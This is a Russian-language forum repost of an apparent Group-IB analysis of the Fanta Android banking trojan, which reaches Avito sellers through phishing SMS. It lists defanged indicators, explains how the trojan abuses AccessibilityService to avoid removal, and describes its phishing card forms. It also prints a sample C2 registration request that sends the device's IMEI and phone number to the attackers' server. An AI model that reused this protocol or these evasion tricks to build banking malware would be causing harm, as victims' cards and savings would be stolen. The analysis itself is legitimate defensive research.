Как android-троян сменил тактику и «заработал» десятки миллионов рублей на российских пользователях

ТОНИ СТАРК

Знаменитый
ПРЕССА ФОРУМА
PREMIUM USER

ТОНИ СТАРК

Знаменитый
ПРЕССА ФОРУМА
PREMIUM USER
Регистрация
11 Ноя 2019
Сообщения
1,667
Реакции
72
Репутация
0
Однажды вы захотите продать что-нибудь на Avito и, выложив подробное описание своего товара (например, модуль оперативной памяти), получите вот такое сообщение:



Открыв ссылку, вы увидите с виду довольно безобидную страницу, уведомляющую вас, счастливого и успешного продавца, о совершении покупки:



После того, как вы нажали кнопку Продолжить, на ваше Android-устройство будет загружен APK-файл с иконкой и названием, внушающим доверие. Вы установили приложение, которое почему-то запросило права AccessibilityService, потом появились и быстро исчезли пара окон и… Все.

Вы заходите проверить свой баланс, но ваше банковское приложение почему-то снова запрашивает данные вашей карты. После ввода данных по какой-то пока еще непонятной для вас причине деньги начинают исчезать с вашего счета. Вы пытаетесь решить проблему, но ваш телефон сопротивляется: сам нажимает на клавиши "Назад" и "Домой", не выключается и не дает активировать никакие средства защиты. В итоге вы остаетесь без денег, ваш товар не куплен, вы в замешательстве и задаетесь вопросом: что случилось?

Ответ прост: вы стали жертвой Android-трояна Fanta, семейства Flexnet. Как же так вышло? Сейчас объясним.

Немного статистики
Впервые о семействе Android-троянов Flexnet стало известно еще в 2015 году. За достаточно долгий период активности семейство расширилось до нескольких подвидов: Fanta, Limebot, Lipton и т.д. Троян, как и связанная с ним инфраструктура, не стоят на месте: разрабатываются новые эффективные схемы распространения — в нашем случае качественные фишинговые страницы, нацеленные на конкретного пользователя-продавца, а разработчики трояна следуют модным трендам вирусописания — добавляют новые функциональные возможности, позволяющие эффективнее воровать деньги с зараженных устройств и обходить механизмы защиты.

Описываемая в данной статье кампания нацелена на пользователей из России, небольшое количество зараженных устройств зафиксировано на Украине, еще меньше в Казахстане и Беларуси.

Несмотря на то, что Flexnet находится на арене Android-троянов уже более 4 лет и подробно изучен многими исследователями, он все еще в хорошей форме. Начиная с января 2019 года потенциальная сумма ущерба составляет более 35 миллионов рублей — и это только по компаниям в России. В 2015 году различные версии данного Android-трояна продавались на андеграундных форумах, там же можно было найти и исходный код трояна с подробным описанием. А это значит, что статистика ущерба в мире еще внушительнее. Неплохой показатель для такого старичка, не так ли?

От продажи до обмана
Как видно из представленного ранее скриншота фишинговой страницы под Интернет-сервис для размещения объявлений Avito, она готовилась под конкретную жертву. Судя по всему, злоумышленники используют один из парсеров Avito, вытаскивающий телефонный номер и имя продавца, а также описание товара. После разворачивания страницы и подготовки APK-файла жертве отправляется СМС-сообщение с ее именем и ссылкой на фишинговую страницу, содержащую описание его товара и суммы, полученной с "продажи" товара. Нажав на кнопку, пользователь получает вредоносный APK-файл - Fanta.

Исследование домена shcet491[.]ru показало, что он делегирован на DNS-серверы компании Hostinger:

  • ns1.hostinger.ru
  • ns2.hostinger.ru
  • ns3.hostinger.ru
  • ns4.hostinger.ru
Файл зоны домена содержит записи, указывающие на ip-адреса 31.220.23[.]236, 31.220.23[.]243 и 31.220.23[.]235. Однако основная ресурсная запись домена (A-запись) указывает на сервер с IP-адресом 178.132.1[.]240.

IP-адрес 178.132.1[.]240 расположен в Нидерландах и принадлежит хостеру WorldStream. IP-адреса 31.220.23[.]235, 31.220.23[.]236 и 31.220.23[.]243 расположены в Великобритании и принадлежат серверу виртуального хостинга HOSTINGER. В качестве регистратора используется openprov-ru. На IP-адрес 178.132.1[.]240 также резолвились домены:

  • sdelka-ru[.]ru
  • tovar-av[.]ru
  • av-tovar[.]ru
  • ru-sdelka[.]ru
  • shcet382[.]ru
  • sdelka221[.]ru
  • sdelka211[.]ru
  • vyplata437[.]ru
  • viplata291[.]ru
  • perevod273[.]ru
  • perevod901[.]ru
Следует отметить, что почти со всех доменов были доступны ссылки, следующего формата:

http://(www.){0,1}<%domain%>/[0-9]{7}

Под данный шаблон также попадает ссылка из СМС-сообщения. По историческим данным было обнаружено, что одному домену соответствует несколько ссылок по вышеописанному шаблону, что говорит об использовании одного домена для распространения трояна нескольким жертвам.

Забежим немного вперед: в качестве управляющего сервера загруженный по ссылке из СМС троян использует адрес onuseseddohap[.]club. Данный домен был зарегистрирован 2019-03-12, и начиная с 2019-04-29 происходило взаимодействие APK-приложений с данным доменом. Опираясь на данные, полученные с VirusTotal, всего с данным сервером взаимодействовало 109 приложений. Сам домен резолвился на IP-адрес 217.23.14[.]27, расположенный в Нидерландах и принадлежащий хостеру WorldStream. В качестве регистратора используется namecheap. На данный IP-адрес также резолвились домены bad-racoon[.]club (начиная с 2018-09-25) и bad-racoon[.]live (начиная с 2018-10-25). С доменом bad-racoon[.]club взаимодействовало более 80 APK-файлов, с bad-racoon[.]live - более 100.

В целом, ход атаки выглядит следующим образом:



Что у Fanta под крышкой?
Как и многие другие андроид-трояны, Fanta способна читать и отправлять СМС-сообщения, совершать USSD-запросы, демонстрировать собственные окна поверх приложений (в том числе банковских). Однако в арсенале функциональных возможностей данного семейства прибыло: Fanta начала использовать AccessibilityService для разных целей: чтение содержимого уведомлений других приложений, предотвращение обнаружения и остановки исполнения трояна на зараженном устройстве и т.д. Fanta работает на всех версиях Android не моложе 4.4. В данной статье мы подробнее рассмотрим следующий Fanta-семпл:

  • MD5: 0826bd11b2c130c4c8ac137e395ac2d4

  • SHA1: ac33d38d486ee4859aa21b9aeba5e6e11404bcc8

  • SHA256: df57b7e7ac6913ea5f4daad319e02db1f4a6b243f2ea6500f83060648da6edfb
Сразу после запуска
Непосредственно после запуска троян скрывает свою иконку. Работа приложения возможна только в том случае, если имя зараженного устройства не находится в списке:

  • android_x86

  • VirtualBox

  • Nexus 5X(bullhead)

  • Nexus 5(razor)
Данная проверка производится в главном сервисе трояна - MainService. При первом запуске происходит инициализация конфигурационных параметров приложения значениями по умолчанию (о формате хранения конфигурационных данных и их значении будет рассказано позже), а также регистрация нового зараженного устройства на управляющем сервере. На сервер будет отправлен HTTP POST-запрос с типом сообщения register_bot и информацией о зараженном устройстве (версия Android, IMEI, номер телефона, имя оператора и код страны, в которой зарегистрирован оператор). В качестве управляющего сервера выступает адрес hXXp://onuseseddohap[.]club/controller.php. В ответ сервер отправляет сообщение, в котором содержатся поля bot_id, bot_pwd, server - эти значения приложение сохраняет в качестве параметров CnC-сервера. Параметр serverнеобязательный, если поле не было получено - Fanta использует адрес регистрации - hXXp://onuseseddohap[.]club/controller.php. Функция изменения CnC адреса может быть применена для решения двух задач: равномерного распределения нагрузки между несколькими серверами (при большом количестве зараженных устройств нагрузка на неоптимизированный веб-сервер может быть высокой), а также для использования альтернативного сервера в случае отказа одного из CnC-серверов.

Если во время отправления запроса возникла ошибка, троян повторит процесс регистрации через 20 секунд.

После успешной регистрации устройства Fanta выведет пользователю следующее сообщение:



Важное замечание: сервис под названием Безопасность системы - наименование сервиса трояна, и после нажатия на кнопку ОК будет открыто окно с настройками Accessibility зараженного устройства, где пользователь должен сам выдать Accessibility-права для вредоносного сервиса:



Как только пользователь включает AccessibilityService, Fanta получает доступ к содержимому окон приложений и действиям, производимым в них:



Сразу после получения Accessibility-прав троян запрашивает права администратора и права на чтение уведомлений:



При помощи AccessibilityService приложение имитирует нажатия клавиш, тем самым выдавая себе все необходимые права.

Fanta создает несколько экземпляров баз данных (которые будут описаны позже), необходимых для сохранения конфигурационных данных, а также собранной в процессе информации о зараженном устройстве. Для отправления собранной информации троян создает повторяющуюся задачу, предназначенную для выгрузки полей из базы данных и получения команды от управляющего сервера. Интервал обращения к CnC устанавливается в зависимости от версии Android: в случае 5.1 интервал составит 10 секунд, иначе 60 секунд.

Взаимодействие с базами данных
В процессе своей работы троян использует две базы данных. База данных с именем aиспользуется для хранения различной информации, собранной с телефона. Вторая база данных носит имя fanta.db и используется для сохранения настроек, отвечающих за создание фишинговых окон, предназначенных для сбора информации о банковских картах.

Троян использует базу данных а для хранения собираемой информации и логирования своих действий. Данные хранятся в таблице logs. Для создания таблицы используется следующий SQL-запрос:
create table logs ( _id integer primary key autoincrement, d TEXT, f TEXT, p TEXT, m integer)
В базе данных содержится следующая информация:

  1. Логирование включения зараженного устройства сообщением Телефон включился!

  2. Уведомления от приложений. Сообщение формируется по следующему шаблону:
(<%App Name%>)<%Title%>: <%Notification text%>

3. Данные банковских карт из создаваемых трояном фишинговых форм. Параметр VIEW_NAME может быть одним из списка, например:

  • AliExpress
  • Avito
  • Google Play
  • Разное <%App Name%>
Сообщение логируется в формате:

[<%Time in format HH:mm:ss dd.MM.yyyy%>](<%VIEW_NAME%>) Номер карты:<%CARD_NUMBER%>; Дата:<%MONTH%>/<%YEAR%>; CVV: <%CVV%>

4. Входящие/Исходящие СМС сообщения в формате:
([<%Time in format HH:mm:ss dd.MM.yyyy%>] Тип: Входящее/Исходящее) <%Mobile number%>:<%SMS-text%>

5. Информация о пакете, создающем диалоговое окно в формате:
(<%Package name%>)<%Package information%>

Одной из функциональных возможностей Fanta является сбор информации о банковских картах. Сбор данных происходит за счет создания фишинговых окон при открытии банковских приложений. Троян создает фишинговое окно только один раз. Информация, о том, что окно было показано пользователю сохраняется в таблице settings в базе данных fanta.db. Для создания базы данных используется следующий SQL-запрос:

create table settings (can_login integer, first_bank integer, can_alpha integer, can_avito integer, can_ali integer, can_vtb24 integer, can_telecard integer, can_another integer, can_card integer);

Все поля таблицы settings по умолчанию инициализируются значением 1 (создать фишинговое окно). После того, как пользователь введет свои данные, значение будет установлено в 0. Пример полей таблицы settings:

  • first_bank – не используется
  • can_avito – поле отвечает за показ формы при открытии приложения Avito
  • can_ali – поле отвечает за показ формы при открытии приложения Aliexpress
  • can_another – поле отвечает за показ формы при открытии любого приложения из списка: Юла, Pandao, Дром Авто, Кошелёк. Скидочные и бонусные карты, Aviasales, Booking, Trivago.
  • can_card – поле отвечает за показ формы при открытии Google Play
Взаимодействие с управляющим сервером
Сетевое взаимодействие с управляющим сервером происходит по протоколу HTTP. Для работы с сетью Fanta использует популярную библиотеку Retrofit. Запросы отправляются по адресу hXXp://onuseseddohap[.]club/controllet.php. Адрес сервера может быть изменен при регистрации на сервере. В ответ от сервера могут прийти cookie. Fanta выполняет следующие запросы на сервер:

  • Регистрация бота на управляющем сервере происходит один раз при первом запуске. На сервер отправляются следующие данные о зараженном устройстве:
    • Cookie – полученные cookie от сервера (значение по умолчанию - пустая строка)
    • mode – строковая константа register_bot
    • prefix – целочисленная константа 2
    • version_sdk – формируется по следующему шаблону: <%Build.MODEL%>/<%Build.VERSION.RELEASE%>(Avit)
    • imei – IMEI зараженного устройства
    • country – код страны в которой зарегистрирован оператор в формате ISO
    • number – номер телефона
    • operator – имя оператора
Пример запроса, отправляемого на сервер:

POST /controller.php HTTP/1.1
Cookie:
Content-Type: application/x-www-form-urlencoded
Content-Length: 144
Host: onuseseddohap.club
Connection: close
Accept-Encoding: gzip, deflate
User-Agent: okhttp/3.6.0
mode=register_bot&prefix=2&version_sdk=<%VERSION_SDK%>&imei=<%IMEI%>&country=<%COUNTRY_ISO%>&number=<%TEL_NUMBER%>&operator=<%OPERATOR_NAME%>

В ответ на запрос сервер должен вернуть JSON-объект, содержащий следующие параметры:


  • bot_id – идентификатор зараженного устройства. В случае если bot_id будет равен 0, Fanta повторно выполнит запрос
  • bot_pwd – пароль для сервера
  • server – адрес управляющего сервера. Необязательный параметр. В случае если параметр не указан, будет использован адрес, сохраненный в приложении.

  • Запрос на получение команды от сервера. На сервер отправляются следующие данные:
    • Cookie – полученные cookie от сервера

    • bid – id зараженного устройства, который был получен при отправке запроса register_bot

    • pwd – пароль для сервера

    • divice_admin – поле определяет, были ли получены права администратора. Если права администратора были получены, поле равно 1, иначе 0

    • Accessibility – статус работы Accessibility Service. Если служба была запущена, значение равно 1, иначе 0

    • SMSManager – показывает включен ли троян, как приложение по умолчанию для получения СМС

    • screen – отображает в каком состоянии находится экран. Будет установлено значение 1, если экран включен, иначе 0
В зависимости от команды сервер может вернуть JSON-объект с разными параметрами:

- Команда Отправить СМС-сообщение: В параметрах содержится номер телефона, текст СМС-сообщения и идентификатор отправляемого сообщения. Идентификатор используется при отправке сообщения на сервер с типом setSmsStatus.

- Команда Выполнить телефонный звонок или USSD-команду: Номер телефона или команда приходит в теле ответа.

- Команда Изменить параметр interval.

- Команда Изменить параметр intercept.

- Команда Изменить поле SmsManager.

- Команда Выполнить сбор СМС-сообщений с зараженного устройства.

- Команда Сбросить телефон до заводских настроек.

- Команда Изменить параметр ReadDialog.

- Отправка сообщения с типом setSmsStatus. Данный запрос осуществляется после исполнения команды Отправить СМС-сообщение.

- Отправка содержимого базы данных. За один запрос передается одна строка. На сервер отправляются следующие данные:

  • Cookie – полученные cookie от сервера

  • mode – строковая константа setSaveInboxSms

  • bid – id зараженного устройства, которое было получено при отправке запроса register_bot

  • text – текст в текущей записи БД (поле d из таблицы logs в базе данных а)

  • number – наименование текущей записи БД (поле p из таблицы logs в базе данных а)

  • sms_mode – целочисленное значение (поле m из таблицы logs в базе данных а)

Взаимодействие с AccessibilityService
AccessibilityService был реализован для облегчения использования Android-устройств людьми с ограниченными возможностями. В большинстве случаев для взаимодействия с приложением необходимо физическое взаимодействие. AccessibilityService позволяет сделать это программно. Fanta использует сервис для создания поддельных окон в банковских приложениях и препятствия открытию настроек системы и некоторых приложений.

Используя функциональные возможности AccessibilityService, троян отслеживает изменения элементов на экране зараженного устройства. Как уже было ранее описано, в настройках Fanta содержится параметр, отвечающий за логирование операций с диалоговыми окнами - readDialog. Если данный параметр установлен, в базу данных будет добавлена информация о названии и описании пакета, который инициировал событие. Троян выполняет следующие действия при срабатывании событий:

  • Имитирует нажатие клавиш назад и домой в случае:
    • Если пользователь хочет перезагрузить свое устройство

    • Если пользователь хочет удалить приложение "Avito" или изменить права доступа

    • Если на странице есть упоминание о приложении "Avito"

    • При открытии приложения "Google Play Защита"

    • При открытии страниц с настройками AccessibilityService

    • При возникновении диалогового окна "Безопасность системы"

    • При открытии страницы с настройками "Draw over other app"

    • При открытии страницы «Приложения», «Восстановление и сброс», «Сброс данных», «Сброс настроек», «Панель разработчиков», «Спец. возможности», «Специальные возможности», «Особые права»
Фишинговые формы
Fanta анализирует, какие приложения запускаются на зараженном устройстве. Если было открыто интересующее приложение, троян демонстрирует фишинговое окно, которое представляет собой форму для ввода информации о банковской карте, поверх всех остальных. Пользователю необходимо ввести следующие данные:

  • Номер карты
  • Срок действия карты
  • CVV
  • Имя держателя карты (не для всех банков)
В зависимости от запущенного приложения будут продемонстрированы разные фишинговые окна. Ниже будут представлены примеры некоторых фишинговых окон.
Aliexpress:



Avito:



Для других приложений (Google Play Market, Aviasales, Pandao, Booking, Trivago и т.д.):



Как все было на самом деле
К счастью, человек из данной статьи, получивший СМС-сообщение, оказался специалистом в области кибербезопасности. Поэтому реальная, не режиссерская версия отличается от рассказанной ранее: человек получил интересное SMS, после чего отдал его команде Group-IB Threat Hunting Intelligence. Результат атаки - данная статья. Счастливая концовка, не так ли? Однако, далеко не все истории заканчиваются так удачно, и чтобы ваша не была похожа на режиссерскую версию с потерей денег - в большинстве случаев достаточно придерживаться следующих, давно описанных правил:


  • не устанавливать приложения для мобильного устройства с ОС Android из каких-либо источников, кроме Google Play

  • при установке приложения обращать особое внимание на запрашиваемые приложением права

  • регулярно устанавливать обновления ОС Android

  • обращать внимание на расширения загружаемых файлов

  • не посещать подозрительные ресурсы

  • не переходить по ссылкам, полученным в SMS-сообщениях.
Ну а для банков и вендоров мобильных приложений, на которые нацелено это семейство Android-троянов, в рамках нашего продукта Secure Bank/Portal мы разработали SecureBank Mobile SDK. Этот продукт легко интегрируется в мобильное банковское приложение и работает на стороне банка, выполняя функции идентификации мобильного устройства клиента, детектирования вредоносных приложений, выявления несанкционированной смены SIM-карты клиента и детектирования запуска банковского приложения на эмуляторе мобильного устройства или на неофициальных версиях мобильных платформ. Выявление нетипичной для конкретного клиента активности повышает вероятность распознавания мошеннических действий, тем самым сокращая число ложных срабатываний антифрод-систем и снимая необходимость дополнительных звонков клиентам для проверки транзакций.

И последний важный момент, связанный с противодействием банковским троянам семейства Flexnet. Использование «материнского» продукта

Пожалуйста Авторизуйтесь или Зарегистрируйтесь для просмотра скрытого текста.

c расширенными возможностями Secure Bank Mobile SDK в сумме дает надежный инструмент для кросс-канального анализа и корреляции данных о поведении пользователя при работе на различных устройствах (смартфон, планшет, ноутбук, ПК) через любые каналы взаимодействия с банком (мобильное приложение, онлайн-банкинг и др). Использование алгоритмов машинного обучения и продвинутого конструктора правил предотвратит мошенничество на этапе подготовки, детектируя подозрительные действия мошенника, выдающего себя за реального клиента.
 
Сверху